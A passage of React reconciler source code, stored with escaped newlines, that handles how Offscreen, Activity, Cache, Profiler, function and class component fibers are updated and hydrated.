currentChild.childLanes,\n          );\n          currentChild = currentChild.sibling;\n        }\n        const lanesWeJustAttempted = nextBaseLanes;\n        remainingChildLanes = removeLanes(\n          currentChildLanes,\n          lanesWeJustAttempted,\n        );\n      } else {\n        remainingChildLanes = NoLanes;\n        workInProgress.child = null;\n      }\n\n      return deferHiddenOffscreenComponent(\n        current,\n        workInProgress,\n        nextBaseLanes,\n        renderLanes,\n        remainingChildLanes,\n      );\n    }\n\n    if (\n      !disableLegacyMode &&\n      (workInProgress.mode & ConcurrentMode) === NoMode\n    ) {\n      // In legacy sync mode, don't defer the subtree. Render it now.\n      // TODO: Consider how Offscreen should work with transitions in the future\n      const nextState: OffscreenState = {\n        baseLanes: NoLanes,\n        cachePool: null,\n      };\n      workInProgress.memoizedState = nextState;\n      // push the cache pool even though we're going to bail out\n      // because otherwise there'd be a context mismatch\n      if (current !== null) {\n        pushTransition(workInProgress, null, null);\n      }\n      reuseHiddenContextOnStack(workInProgress);\n      pushOffscreenSuspenseHandler(workInProgress);\n    } else if (!includesSomeLane(renderLanes, (OffscreenLane: Lane))) {\n      // We're hidden, and we're not rendering at Offscreen. We will bail out\n      // and resume this tree later.\n\n      // Schedule this fiber to re-render at Offscreen priority\n\n      const remainingChildLanes = (workInProgress.lanes =\n        laneToLanes(OffscreenLane));\n\n      // Include the base lanes from the last render\n      const nextBaseLanes =\n        prevState !== null\n          ? mergeLanes(prevState.baseLanes, renderLanes)\n          : renderLanes;\n\n      return deferHiddenOffscreenComponent(\n        current,\n        workInProgress,\n        nextBaseLanes,\n        renderLanes,\n        remainingChildLanes,\n      );\n    } else {\n      // This is the second render. The surrounding visible content has already\n      // committed. Now we resume rendering the hidden tree.\n\n      // Rendering at offscreen, so we can clear the base lanes.\n      const nextState: OffscreenState = {\n        baseLanes: NoLanes,\n        cachePool: null,\n      };\n      workInProgress.memoizedState = nextState;\n      if (current !== null) {\n        // If the render that spawned this one accessed the cache pool, resume\n        // using the same cache. Unless the parent changed, since that means\n        // there was a refresh.\n        const prevCachePool = prevState !== null ? prevState.cachePool : null;\n        // TODO: Consider if and how Offscreen pre-rendering should\n        // be attributed to the transition that spawned it\n        pushTransition(workInProgress, prevCachePool, null);\n      }\n\n      // Push the lanes that were skipped when we bailed out.\n      if (prevState !== null) {\n        pushHiddenContext(workInProgress, prevState);\n      } else {\n        reuseHiddenContextOnStack(workInProgress);\n      }\n      pushOffscreenSuspenseHandler(workInProgress);\n    }\n  } else {\n    // Rendering a visible tree.\n    if (prevState !== null) {\n      // We're going from hidden -> visible.\n      let prevCachePool = null;\n      // If the render that spawned this one accessed the cache pool, resume\n      // using the same cache. Unless the parent changed, since that means\n      // there was a refresh.\n      prevCachePool = prevState.cachePool;\n\n      let transitions = null;\n      if (enableTransitionTracing) {\n        // We have now gone from hidden to visible, so any transitions should\n        // be added to the stack to get added to any Offscreen/suspense children\n        const instance: OffscreenInstance | null = workInProgress.stateNode;\n        if (instance !== null && instance._transitions != null) {\n          transitions = Array.from(instance._transitions);\n        }\n      }\n\n      pushTransition(workInProgress, prevCachePool, transitions);\n\n      // Push the lanes that were skipped when we bailed out.\n      pushHiddenContext(workInProgress, prevState);\n      reuseSuspenseHandlerOnStack(workInProgress);\n\n      // Since we're not hidden anymore, reset the state\n      workInProgress.memoizedState = null;\n    } else {\n      // We weren't previously hidden, and we still aren't, so there's nothing\n      // special to do. Need to push to the stack regardless, though, to avoid\n      // a push/pop misalignment.\n\n      // If the render that spawned this one accessed the cache pool, resume\n      // using the same cache. Unless the parent changed, since that means\n      // there was a refresh.\n      if (current !== null) {\n        pushTransition(workInProgress, null, null);\n      }\n\n      // We're about to bail out, but we need to push this to the stack anyway\n      // to avoid a push/pop misalignment.\n      reuseHiddenContextOnStack(workInProgress);\n      reuseSuspenseHandlerOnStack(workInProgress);\n    }\n  }\n\n  reconcileChildren(current, workInProgress, nextChildren, renderLanes);\n  return workInProgress.child;\n}\n\nfunction bailoutOffscreenComponent(\n  current: Fiber | null,\n  workInProgress: Fiber,\n): Fiber | null {\n  if (\n    (current === null || current.tag !== OffscreenComponent) &&\n    workInProgress.stateNode === null\n  ) {\n    const primaryChildInstance: OffscreenInstance = {\n      _visibility: OffscreenVisible,\n      _pendingMarkers: null,\n      _retryCache: null,\n      _transitions: null,\n    };\n    workInProgress.stateNode = primaryChildInstance;\n  }\n\n  return workInProgress.sibling;\n}\n\nfunction deferHiddenOffscreenComponent(\n  current: Fiber | null,\n  workInProgress: Fiber,\n  nextBaseLanes: Lanes,\n  renderLanes: Lanes,\n  remainingChildLanes: Lanes,\n) {\n  const nextState: OffscreenState = {\n    baseLanes: nextBaseLanes,\n    // Save the cache pool so we can resume later.\n    cachePool: getOffscreenDeferredCache(),\n  };\n  workInProgress.memoizedState = nextState;\n  // push the cache pool even though we're going to bail out\n  // because otherwise there'd be a context mismatch\n  if (current !== null) {\n    pushTransition(workInProgress, null, null);\n  }\n\n  // We're about to bail out, but we need to push this to the stack anyway\n  // to avoid a push/pop misalignment.\n  reuseHiddenContextOnStack(workInProgress);\n\n  pushOffscreenSuspenseHandler(workInProgress);\n\n  if (current !== null) {\n    // Since this tree will resume rendering in a separate render, we need\n    // to propagate parent contexts now so we don't lose track of which\n    // ones changed.\n    propagateParentContextChangesToDeferredTree(\n      current,\n      workInProgress,\n      renderLanes,\n    );\n  }\n\n  // We override the remaining child lanes to be the subset that we computed\n  // on the outside. We need to do this after propagating the context\n  // because propagateParentContextChangesToDeferredTree may schedule\n  // work which bubbles all the way up to the root and updates our child lanes.\n  // We want to dismiss that since we're not going to work on it yet.\n  workInProgress.childLanes = remainingChildLanes;\n\n  return null;\n}\n\nfunction updateLegacyHiddenComponent(\n  current: null | Fiber,\n  workInProgress: Fiber,\n  renderLanes: Lanes,\n) {\n  const nextProps: LegacyHiddenProps = workInProgress.pendingProps;\n  // Note: These happen to have identical begin phases, for now. We shouldn't hold\n  // ourselves to this constraint, though. If the behavior diverges, we should\n  // fork the function.\n  // This just works today because it has the same Props.\n  return updateOffscreenComponent(\n    current,\n    workInProgress,\n    renderLanes,\n    nextProps,\n  );\n}\n\nfunction mountActivityChildren(\n  workInProgress: Fiber,\n  nextProps: ActivityProps,\n  renderLanes: Lanes,\n) {\n  if (__DEV__) {\n    const hiddenProp = (nextProps: any).hidden;\n    if (hiddenProp !== undefined) {\n      console.error(\n        '<Activity> doesn\\'t accept a hidden prop. Use mode=\"hidden\" instead.\\n' +\n          '- <Activity %s>\\n' +\n          '+ <Activity %s>',\n        hiddenProp === true\n          ? 'hidden'\n          : hiddenProp === false\n            ? 'hidden={false}'\n            : 'hidden={...}',\n        hiddenProp ? 'mode=\"hidden\"' : 'mode=\"visible\"',\n      );\n    }\n  }\n  const nextChildren = nextProps.children;\n  const nextMode = nextProps.mode;\n  const mode = workInProgress.mode;\n  const offscreenChildProps: OffscreenProps = {\n    mode: nextMode,\n    children: nextChildren,\n  };\n  const primaryChildFragment = mountWorkInProgressOffscreenFiber(\n    offscreenChildProps,\n    mode,\n    renderLanes,\n  );\n  primaryChildFragment.ref = workInProgress.ref;\n  workInProgress.child = primaryChildFragment;\n  primaryChildFragment.return = workInProgress;\n  return primaryChildFragment;\n}\n\nfunction retryActivityComponentWithoutHydrating(\n  current: Fiber,\n  workInProgress: Fiber,\n  renderLanes: Lanes,\n) {\n  // Falling back to client rendering. Because this has performance\n  // implications, it's considered a recoverable error, even though the user\n  // likely won't observe anything wrong with the UI.\n\n  // This will add the old fiber to the deletion list\n  reconcileChildFibers(workInProgress, current.child, null, renderLanes);\n\n  // We're now not suspended nor dehydrated.\n  const nextProps: ActivityProps = workInProgress.pendingProps;\n  const primaryChildFragment = mountActivityChildren(\n    workInProgress,\n    nextProps,\n    renderLanes,\n  );\n  // Needs a placement effect because the parent (the Activity boundary) already\n  // mounted but this is a new fiber.\n  primaryChildFragment.flags |= Placement;\n\n  // If we're not going to hydrate we can't leave it dehydrated if something\n  // suspends. In that case we want that to bubble to the nearest parent boundary\n  // so we need to pop our own handler that we just pushed.\n  popSuspenseHandler(workInProgress);\n\n  workInProgress.memoizedState = null;\n\n  return primaryChildFragment;\n}\n\nfunction mountDehydratedActivityComponent(\n  workInProgress: Fiber,\n  activityInstance: ActivityInstance,\n  renderLanes: Lanes,\n): null | Fiber {\n  // During the first pass, we'll bail out and not drill into the children.\n  // Instead, we'll leave the content in place and try to hydrate it later.\n  // We'll continue hydrating the rest at offscreen priority since we'll already\n  // be showing the right content coming from the server, it is no rush.\n  workInProgress.lanes = laneToLanes(OffscreenLane);\n  return null;\n}\n\nfunction updateDehydratedActivityComponent(\n  current: Fiber,\n  workInProgress: Fiber,\n  didSuspend: boolean,\n  nextProps: ActivityProps,\n  activityInstance: ActivityInstance,\n  activityState: ActivityState,\n  renderLanes: Lanes,\n): null | Fiber {\n  // We'll handle suspending since if something suspends we can just leave\n  // it dehydrated. We push early and then pop if we enter non-dehydrated attempts.\n  pushDehydratedActivitySuspenseHandler(workInProgress);\n  if (!didSuspend) {\n    // This is the first render pass. Attempt to hydrate.\n\n    // We should never be hydrating at this point because it is the first pass,\n    // but after we've already committed once.\n    warnIfHydrating();\n\n    if (includesSomeLane(renderLanes, (OffscreenLane: Lane))) {\n      // If we're rendering Offscreen and we're entering the activity then it's possible\n      // that the only reason we rendered was because this boundary left work. Provide\n      // it as a cause if another one doesn't already exist.\n      markRenderDerivedCause(workInProgress);\n    }\n\n    if (\n      // TODO: Factoring is a little weird, since we check this right below, too.\n      !didReceiveUpdate\n    ) {\n      // We need to check if any children have context before we decide to bail\n      // out, so propagate the changes now.\n      lazilyPropagateParentContextChanges(current, workInProgress, renderLanes);\n    }\n\n    // We use lanes to indicate that a child might depend on context, so if\n    // any context has changed, we need to treat is as if the input might have changed.\n    const hasContextChanged = includesSomeLane(renderLanes, current.childLanes);\n    if (didReceiveUpdate || hasContextChanged) {\n      // This boundary has changed since the first render. This means that we are now unable to\n      // hydrate it. We might still be able to hydrate it using a higher priority lane.\n      const root = getWorkInProgressRoot();\n      if (root !== null) {\n        const attemptHydrationAtLane = getBumpedLaneForHydration(\n          root,\n          renderLanes,\n        );\n        if (\n          attemptHydrationAtLane !== NoLane &&\n          attemptHydrationAtLane !== activityState.retryLane\n        ) {\n          // Intentionally mutating since this render will get interrupted. This\n          // is one of the very rare times where we mutate the current tree\n          // during the render phase.\n          activityState.retryLane = attemptHydrationAtLane;\n          enqueueConcurrentRenderForLane(current, attemptHydrationAtLane);\n          scheduleUpdateOnFiber(root, current, attemptHydrationAtLane);\n\n          // Throw a special object that signals to the work loop that it should\n          // interrupt the current render.\n          //\n          // Because we're inside a React-only execution stack, we don't\n          // strictly need to throw here — we could instead modify some internal\n          // work loop state. But using an exception means we don't need to\n          // check for this case on every iteration of the work loop. So doing\n          // it this way moves the check out of the fast path.\n          throw SelectiveHydrationException;\n        } else {\n          // We have already tried to ping at a higher priority than we're rendering with\n          // so if we got here, we must have failed to hydrate at those levels. We must\n          // now give up. Instead, we're going to delete the whole subtree and instead inject\n          // a new real Activity boundary to take its place. This might suspend for a while\n          // and if it does we might still have an opportunity to hydrate before this pass\n          // commits.\n        }\n      }\n\n      // If we did not selectively hydrate, we'll continue rendering without\n      // hydrating. Mark this tree as suspended to prevent it from committing\n      // outside a transition.\n      //\n      // This path should only happen if the hydration lane already suspended.\n      renderDidSuspendDelayIfPossible();\n      return retryActivityComponentWithoutHydrating(\n        current,\n        workInProgress,\n        renderLanes,\n      );\n    } else {\n      // This is the first attempt.\n\n      reenterHydrationStateFromDehydratedActivityInstance(\n        workInProgress,\n        activityInstance,\n        activityState.treeContext,\n      );\n\n      const primaryChildFragment = mountActivityChildren(\n        workInProgress,\n        nextProps,\n        renderLanes,\n      );\n      // Mark the children as hydrating. This is a fast path to know whether this\n      // tree is part of a hydrating tree. This is used to determine if a child\n      // node has fully mounted yet, and for scheduling event replaying.\n      // Conceptually this is similar to Placement in that a new subtree is\n      // inserted into the React tree here. It just happens to not need DOM\n      // mutations because it already exists.\n      primaryChildFragment.flags |= Hydrating;\n      return primaryChildFragment;\n    }\n  } else {\n    // This is the second render pass. We already attempted to hydrated, but\n    // something either suspended or errored.\n\n    if (workInProgress.flags & ForceClientRender) {\n      // Something errored during hydration. Try again without hydrating.\n      // The error should've already been logged in throwException.\n      workInProgress.flags &= ~ForceClientRender;\n      return retryActivityComponentWithoutHydrating(\n        current,\n        workInProgress,\n        renderLanes,\n      );\n    } else if ((workInProgress.memoizedState: null | ActivityState) !== null) {\n      // Something suspended and we should still be in dehydrated mode.\n      // Leave the existing child in place.\n\n      workInProgress.child = current.child;\n      // The dehydrated completion pass expects this flag to be there\n      // but the normal offscreen pass doesn't.\n      workInProgress.flags |= DidCapture;\n      return null;\n    } else {\n      // We called retryActivityComponentWithoutHydrating and tried client rendering\n      // but now we suspended again. We should never arrive here because we should\n      // not have pushed a suspense handler during that second pass and it should\n      // instead have suspended above.\n      throw new Error(\n        'Client rendering an Activity suspended it again. This is a bug in React.',\n      );\n    }\n  }\n}\n\nfunction updateActivityComponent(\n  current: null | Fiber,\n  workInProgress: Fiber,\n  renderLanes: Lanes,\n) {\n  const nextProps: ActivityProps = workInProgress.pendingProps;\n\n  // Check if the first pass suspended.\n  const didSuspend = (workInProgress.flags & DidCapture) !== NoFlags;\n  workInProgress.flags &= ~DidCapture;\n\n  if (current === null) {\n    // Initial mount\n\n    // Special path for hydration\n    // If we're currently hydrating, try to hydrate this boundary.\n    // Hidden Activity boundaries are not emitted on the server.\n    if (getIsHydrating()) {\n      if (nextProps.mode === 'hidden') {\n        // SSR doesn't render hidden Activity so it shouldn't hydrate,\n        // even at offscreen lane. Defer to a client rendered offscreen lane.\n        const primaryChildFragment = mountActivityChildren(\n          workInProgress,\n          nextProps,\n          renderLanes,\n        );\n        workInProgress.lanes = laneToLanes(OffscreenLane);\n        return bailoutOffscreenComponent(null, primaryChildFragment);\n      } else {\n        // We must push the suspense handler context *before* attempting to\n        // hydrate, to avoid a mismatch in case it errors.\n        pushDehydratedActivitySuspenseHandler(workInProgress);\n        const dehydrated: ActivityInstance =\n          claimNextHydratableActivityInstance(workInProgress);\n        return mountDehydratedActivityComponent(\n          workInProgress,\n          dehydrated,\n          renderLanes,\n        );\n      }\n    }\n\n    return mountActivityChildren(workInProgress, nextProps, renderLanes);\n  } else {\n    // This is an update.\n\n    // Special path for hydration\n    const prevState: null | ActivityState = current.memoizedState;\n\n    if (prevState !== null) {\n      const dehydrated = prevState.dehydrated;\n      return updateDehydratedActivityComponent(\n        current,\n        workInProgress,\n        didSuspend,\n        nextProps,\n        dehydrated,\n        prevState,\n        renderLanes,\n      );\n    }\n\n    const currentChild: Fiber = (current.child: any);\n\n    const nextChildren = nextProps.children;\n    const nextMode = nextProps.mode;\n    const offscreenChildProps: OffscreenProps = {\n      mode: nextMode,\n      children: nextChildren,\n    };\n\n    if (\n      includesSomeLane(renderLanes, (OffscreenLane: Lane)) &&\n      includesSomeLane(renderLanes, current.lanes)\n    ) {\n      // If we're rendering Offscreen and we're entering the activity then it's possible\n      // that the only reason we rendered was because this boundary left work. Provide\n      // it as a cause if another one doesn't already exist.\n      markRenderDerivedCause(workInProgress);\n    }\n\n    const primaryChildFragment = updateWorkInProgressOffscreenFiber(\n      currentChild,\n      offscreenChildProps,\n    );\n\n    primaryChildFragment.ref = workInProgress.ref;\n    workInProgress.child = primaryChildFragment;\n    primaryChildFragment.return = workInProgress;\n    return primaryChildFragment;\n  }\n}\n\nfunction updateCacheComponent(\n  current: Fiber | null,\n  workInProgress: Fiber,\n  renderLanes: Lanes,\n) {\n  prepareToReadContext(workInProgress, renderLanes);\n  const parentCache = readContext(CacheContext);\n\n  if (current === null) {\n    // Initial mount. Request a fresh cache from the pool.\n    const freshCache = requestCacheFromPool(renderLanes);\n    const initialState: CacheComponentState = {\n      parent: parentCache,\n      cache: freshCache,\n    };\n    workInProgress.memoizedState = initialState;\n    initializeUpdateQueue(workInProgress);\n    pushCacheProvider(workInProgress, freshCache);\n  } else {\n    // Check for updates\n    if (includesSomeLane(current.lanes, renderLanes)) {\n      cloneUpdateQueue(current, workInProgress);\n      processUpdateQueue(workInProgress, null, null, renderLanes);\n      suspendIfUpdateReadFromEntangledAsyncAction();\n    }\n    const prevState: CacheComponentState = current.memoizedState;\n    const nextState: CacheComponentState = workInProgress.memoizedState;\n\n    // Compare the new parent cache to the previous to see detect there was\n    // a refresh.\n    if (prevState.parent !== parentCache) {\n      // Refresh in parent. Update the parent.\n      const derivedState: CacheComponentState = {\n        parent: parentCache,\n        cache: parentCache,\n      };\n\n      // Copied from getDerivedStateFromProps implementation. Once the update\n      // queue is empty, persist the derived state onto the base state.\n      workInProgress.memoizedState = derivedState;\n      if (workInProgress.lanes === NoLanes) {\n        const updateQueue: UpdateQueue<any> = (workInProgress.updateQueue: any);\n        workInProgress.memoizedState = updateQueue.baseState = derivedState;\n      }\n\n      pushCacheProvider(workInProgress, parentCache);\n      // No need to propagate a context change because the refreshed parent\n      // already did.\n    } else {\n      // The parent didn't refresh. Now check if this cache did.\n      const nextCache = nextState.cache;\n      pushCacheProvider(workInProgress, nextCache);\n      if (nextCache !== prevState.cache) {\n        // This cache refreshed. Propagate a context change.\n        propagateContextChange(workInProgress, CacheContext, renderLanes);\n      }\n    }\n  }\n\n  const nextProps: CacheProps = workInProgress.pendingProps;\n\n  const nextChildren = nextProps.children;\n  reconcileChildren(current, workInProgress, nextChildren, renderLanes);\n  return workInProgress.child;\n}\n\n// This should only be called if the name changes\nfunction updateTracingMarkerComponent(\n  current: Fiber | null,\n  workInProgress: Fiber,\n  renderLanes: Lanes,\n) {\n  if (!enableTransitionTracing) {\n    return null;\n  }\n\n  const nextProps: TracingMarkerProps = workInProgress.pendingProps;\n\n  // TODO: (luna) Only update the tracing marker if it's newly rendered or it's name changed.\n  // A tracing marker is only associated with the transitions that rendered\n  // or updated it, so we can create a new set of transitions each time\n  if (current === null) {\n    const currentTransitions = getPendingTransitions();\n    if (currentTransitions !== null) {\n      const markerInstance: TracingMarkerInstance = {\n        tag: TransitionTracingMarker,\n        transitions: new Set(currentTransitions),\n        pendingBoundaries: null,\n        name: nextProps.name,\n        aborts: null,\n      };\n      workInProgress.stateNode = markerInstance;\n\n      // We call the marker complete callback when all child suspense boundaries resolve.\n      // We do this in the commit phase on Offscreen. If the marker has no child suspense\n      // boundaries, we need to schedule a passive effect to make sure we call the marker\n      // complete callback.\n      workInProgress.flags |= Passive;\n    }\n  } else {\n    if (__DEV__) {\n      if (current.memoizedProps.name !== nextProps.name) {\n        console.error(\n          'Changing the name of a tracing marker after mount is not supported. ' +\n            'To remount the tracing marker, pass it a new key.',\n        );\n      }\n    }\n  }\n\n  const instance: TracingMarkerInstance | null = workInProgress.stateNode;\n  if (instance !== null) {\n    pushMarkerInstance(workInProgress, instance);\n  }\n  const nextChildren = nextProps.children;\n  reconcileChildren(current, workInProgress, nextChildren, renderLanes);\n  return workInProgress.child;\n}\n\nfunction updateFragment(\n  current: Fiber | null,\n  workInProgress: Fiber,\n  renderLanes: Lanes,\n) {\n  const nextChildren = workInProgress.pendingProps;\n  if (enableFragmentRefs) {\n    markRef(current, workInProgress);\n  }\n  reconcileChildren(current, workInProgress, nextChildren, renderLanes);\n  return workInProgress.child;\n}\n\nfunction updateMode(\n  current: Fiber | null,\n  workInProgress: Fiber,\n  renderLanes: Lanes,\n) {\n  const nextChildren = workInProgress.pendingProps.children;\n  reconcileChildren(current, workInProgress, nextChildren, renderLanes);\n  return workInProgress.child;\n}\n\nfunction updateProfiler(\n  current: Fiber | null,\n  workInProgress: Fiber,\n  renderLanes: Lanes,\n) {\n  if (enableProfilerTimer) {\n    workInProgress.flags |= Update;\n\n    if (enableProfilerCommitHooks) {\n      // Schedule a passive effect for this Profiler to call onPostCommit hooks.\n      // This effect should be scheduled even if there is no onPostCommit callback for this Profiler,\n      // because the effect is also where times bubble to parent Profilers.\n      workInProgress.flags |= Passive;\n      // Reset effect durations for the next eventual effect phase.\n      // These are reset during render to allow the DevTools commit hook a chance to read them,\n      const stateNode = workInProgress.stateNode;\n      stateNode.effectDuration = -0;\n      stateNode.passiveEffectDuration = -0;\n    }\n  }\n  const nextProps: ProfilerProps = workInProgress.pendingProps;\n  const nextChildren = nextProps.children;\n  reconcileChildren(current, workInProgress, nextChildren, renderLanes);\n  return workInProgress.child;\n}\n\nfunction markRef(current: Fiber | null, workInProgress: Fiber) {\n  // TODO: Check props.ref instead of fiber.ref when enableRefAsProp is on.\n  const ref = workInProgress.ref;\n  if (ref === null) {\n    if (current !== null && current.ref !== null) {\n      // Schedule a Ref effect\n      workInProgress.flags |= Ref | RefStatic;\n    }\n  } else {\n    if (typeof ref !== 'function' && typeof ref !== 'object') {\n      throw new Error(\n        'Expected ref to be a function, an object returned by React.createRef(), or undefined/null.',\n      );\n    }\n    if (current === null || current.ref !== ref) {\n      // Schedule a Ref effect\n      workInProgress.flags |= Ref | RefStatic;\n    }\n  }\n}\n\nfunction mountIncompleteFunctionComponent(\n  _current: null | Fiber,\n  workInProgress: Fiber,\n  Component: any,\n  nextProps: any,\n  renderLanes: Lanes,\n) {\n  resetSuspendedCurrentOnMountInLegacyMode(_current, workInProgress);\n\n  workInProgress.tag = FunctionComponent;\n\n  return updateFunctionComponent(\n    null,\n    workInProgress,\n    Component,\n    nextProps,\n    renderLanes,\n  );\n}\n\nfunction updateFunctionComponent(\n  current: null | Fiber,\n  workInProgress: Fiber,\n  Component: any,\n  nextProps: any,\n  renderLanes: Lanes,\n) {\n  if (__DEV__) {\n    if (\n      Component.prototype &&\n      typeof Component.prototype.render === 'function'\n    ) {\n      const componentName = getComponentNameFromType(Component) || 'Unknown';\n\n      if (!didWarnAboutBadClass[componentName]) {\n        console.error(\n          \"The <%s /> component appears to have a render method, but doesn't extend React.Component. \" +\n            'This is likely to cause errors. Change %s to extend React.Component instead.',\n          componentName,\n          componentName,\n        );\n        didWarnAboutBadClass[componentName] = true;\n      }\n    }\n\n    if (workInProgress.mode & StrictLegacyMode) {\n      ReactStrictModeWarnings.recordLegacyContextWarning(workInProgress, null);\n    }\n\n    if (current === null) {\n      // Some validations were previously done in mountIndeterminateComponent however and are now run\n      // in updateFuntionComponent but only on mount\n      validateFunctionComponentInDev(workInProgress, workInProgress.type);\n\n      if (Component.contextTypes) {\n        const componentName = getComponentNameFromType(Component) || 'Unknown';\n\n        if (!didWarnAboutContextTypes[componentName]) {\n          didWarnAboutContextTypes[componentName] = true;\n          if (disableLegacyContext) {\n            console.error(\n              '%s uses the legacy contextTypes API which was removed in React 19. ' +\n                'Use React.createContext() with React.useContext() instead. ' +\n                '(https://react.dev/link/legacy-context)',\n              componentName,\n            );\n          } else {\n            console.error(\n              '%s uses the legacy contextTypes API which will be removed soon. ' +\n                'Use React.createContext() with React.useContext() instead. ' +\n                '(https://react.dev/link/legacy-context)',\n              componentName,\n            );\n          }\n        }\n      }\n    }\n  }\n\n  let context;\n  if (!disableLegacyContext && !disableLegacyContextForFunctionComponents) {\n    const unmaskedContext = getUnmaskedContext(workInProgress, Component, true);\n    context = getMaskedContext(workInProgress, unmaskedContext);\n  }\n\n  let nextChildren;\n  let hasId;\n  prepareToReadContext(workInProgress, renderLanes);\n  if (enableSchedulingProfiler) {\n    markComponentRenderStarted(workInProgress);\n  }\n  if (__DEV__) {\n    nextChildren = renderWithHooks(\n      current,\n      workInProgress,\n      Component,\n      nextProps,\n      context,\n      renderLanes,\n    );\n    hasId = checkDidRenderIdHook();\n  } else {\n    nextChildren = renderWithHooks(\n      current,\n      workInProgress,\n      Component,\n      nextProps,\n      context,\n      renderLanes,\n    );\n    hasId = checkDidRenderIdHook();\n  }\n  if (enableSchedulingProfiler) {\n    markComponentRenderStopped();\n  }\n\n  if (current !== null && !didReceiveUpdate) {\n    bailoutHooks(current, workInProgress, renderLanes);\n    return bailoutOnAlreadyFinishedWork(current, workInProgress, renderLanes);\n  }\n\n  if (getIsHydrating() && hasId) {\n    pushMaterializedTreeId(workInProgress);\n  }\n\n  // React DevTools reads this flag.\n  workInProgress.flags |= PerformedWork;\n  reconcileChildren(current, workInProgress, nextChildren, renderLanes);\n  return workInProgress.child;\n}\n\nexport function replayFunctionComponent(\n  current: Fiber | null,\n  workInProgress: Fiber,\n  nextProps: any,\n  Component: any,\n  secondArg: any,\n  renderLanes: Lanes,\n): Fiber | null {\n  // This function is used to replay a component that previously suspended,\n  // after its data resolves. It's a simplified version of\n  // updateFunctionComponent that reuses the hooks from the previous attempt.\n\n  prepareToReadContext(workInProgress, renderLanes);\n  if (enableSchedulingProfiler) {\n    markComponentRenderStarted(workInProgress);\n  }\n  const nextChildren = replaySuspendedComponentWithHooks(\n    current,\n    workInProgress,\n    Component,\n    nextProps,\n    secondArg,\n  );\n  const hasId = checkDidRenderIdHook();\n  if (enableSchedulingProfiler) {\n    markComponentRenderStopped();\n  }\n\n  if (current !== null && !didReceiveUpdate) {\n    bailoutHooks(current, workInProgress, renderLanes);\n    return bailoutOnAlreadyFinishedWork(current, workInProgress, renderLanes);\n  }\n\n  if (getIsHydrating() && hasId) {\n    pushMaterializedTreeId(workInProgress);\n  }\n\n  // React DevTools reads this flag.\n  workInProgress.flags |= PerformedWork;\n  reconcileChildren(current, workInProgress, nextChildren, renderLanes);\n  return workInProgress.child;\n}\n\nfunction updateClassComponent(\n  current: Fiber | null,\n  workInProgress: Fiber,\n  Component: any,\n  nextProps: any,\n  renderLanes: Lanes,\n) {\n  if (__DEV__) {\n    // This is used by DevTools to force a boundary to error.\n    switch (shouldError(workInProgress)) {\n      case false: {\n        // We previously simulated an error on this boundary\n        // so the instance must have been constructed in a previous\n        // commit.\n        const instance = workInProgress.stateNode;\n        const ctor = workInProgress.type;\n        // TODO This way of resetting the error boundary state is a hack.\n        // Is there a better way to do this?\n        const tempInstance = new ctor(\n          workInProgress.memoizedProps,\n          instance.context,\n        );\n        const state = tempInstance.state;\n        instance.updater.enqueueSetState(instance, state, null);\n        break;\n      }\n      case true: {\n        workInProgress.flags |= DidCapture;\n        workInProgress.flags |= ShouldCapture;\n        // eslint-disable-next-line react-internal/prod-error-codes\n        const error = new Error('Simulated error coming from DevTools');\n        const lane = pickArbitraryLane(renderLanes);\n        workInProgress.lanes = mergeLanes(workInProgress.lanes, lane);\n        // Schedule the error boundary to re-render using updated state\n        const root: FiberRoot | null = getWorkInProgressRoot();\n        if (root === null) {\n          throw new Error(\n            'Expected a work-in-progress root. This is a bug in React. Please file an issue.',\n          );\n        }\n        const update = createClassErrorUpdate(lane);\n        initializeClassErrorUpdate(\n          update,\n          root,\n          workInProgress,\n          createCapturedValueAtFiber(error, workInProgress),\n        );\n        enqueueCapturedUpdate(workInProgress, update);\n        break;\n      }\n    }\n  }\n\n  // Push context providers early to prevent context stack mismatches.\n  // During mounting we don't know the child context yet as the instance doesn't exist.\n  // We will invalidate the child context in finishClassComponent() right after rendering.\n  let hasContext;\n  if (isLegacyContextProvider(Component)) {\n    hasContext = true;\n    pushLegacyContextProvider(workInProgress);\n  } else {\n    hasContext = false;\n  }\n  prepareToReadContext(workInProgress, renderLanes);\n\n  const instance = workInProgress.stateNode;\n  let shouldUpdate;\n  if (instance === null) {\n    resetSuspendedCurrentOnMountInLegacyMode(current, workInProgress);\n\n    // In the initial pass we might need to construct the instance.\n    constructClassInstance(workInProgress, Component, nextProps);\n    mountClassInstance(workInProgress, Component, nextProps, renderLanes);\n    shouldUpdate = true;\n  } else if (current === null) {\n    // In a resume, we'll already have an instance we can reuse.\n    shouldUpdate = resumeMountClassInstance(\n      workInProgress,\n      Component,\n      nextProps,\n      renderLanes,\n    );\n  } else {\n    shouldUpdate = updateClassInstance(\n      current,\n      workInProgress,\n      Component,\n      nextProps,\n      renderLanes,\n    );\n  }\n  const nextUnitOfWork = finishClassComponent(\n    current,\n    workInProgress,\n    Component,\n    shouldUpdate,\n    hasContext,\n    renderLanes,\n  );\n  if (__DEV__) {\n    const inst = workInProgress.stateNode;\n    if (shouldUpdate && inst.props !== nextProps) {\n      if (!didWarnAboutReassigningProps) {\n        console.error(\n          'It looks like %s is reassigning its own `this.props` while rendering. ' +\n            'This is not supported and can lead to confusing bugs.',\n          getComponentNameFromFiber(workInProgress) || 'a component',\n        );\n      }\n      didWarnAboutReassigningProps = true;\n    }\n  }\n  return nextUnitOfWork;\n}\n\nfunction finishClassComponent(\n  current: Fiber | null,\n  workInProgress: Fiber,\n  Component: any,\n  shouldUpdate: boolean,\n  hasContext: boolean,\n  renderLanes: Lanes,\n) {\n  // Refs should update even if shouldComponentUpdate returns false\n  markRef(current, workInProgress);\n\n  const didCaptureError = (workInProgress.flags & DidCapture) !== NoFlags;\n\n  if (!shouldUpdate && !didCaptureError) {\n    // Context providers should defer to sCU for rendering\n    if (hasContext) {\n      invalidateContextProvider(workInProgress, Component, false);\n    }\n\n    return bailoutOnAlreadyFinishedWork(current, workInProgress, renderLanes);\n  }\n\n  const instance = workInProgress.stateNode;\n\n  // Rerender\n  if (__DEV__) {\n    setCurrentFiber(workInProgress);\n  }\n  let nextChildren;\n  if (\n    didCaptureError &&\n    typeof Component.getDerivedStateFromError !== 'function'\n  ) {\n    // If we captured an error, but getDerivedStateFromError is not defined,\n    // unmount all the children. componentDidCatch will schedule an update to\n    // re-render a fallback. This is temporary until we migrate everyone to\n    // the new API.\n    // TODO: Warn in a future release.\n    nextChildren = null;\n\n    if (enableProfilerTimer) {\n      stopProfilerTimerIfRunning(workInProgress);\n    }\n  } else {\n    if (enableSchedulingProfiler) {\n      markComponentRenderStarted(workInProgress);\n    }\n    if (__DEV__) {\n      nextChildren = callRenderInDEV(instance);\n      if (workInProgress.mode & 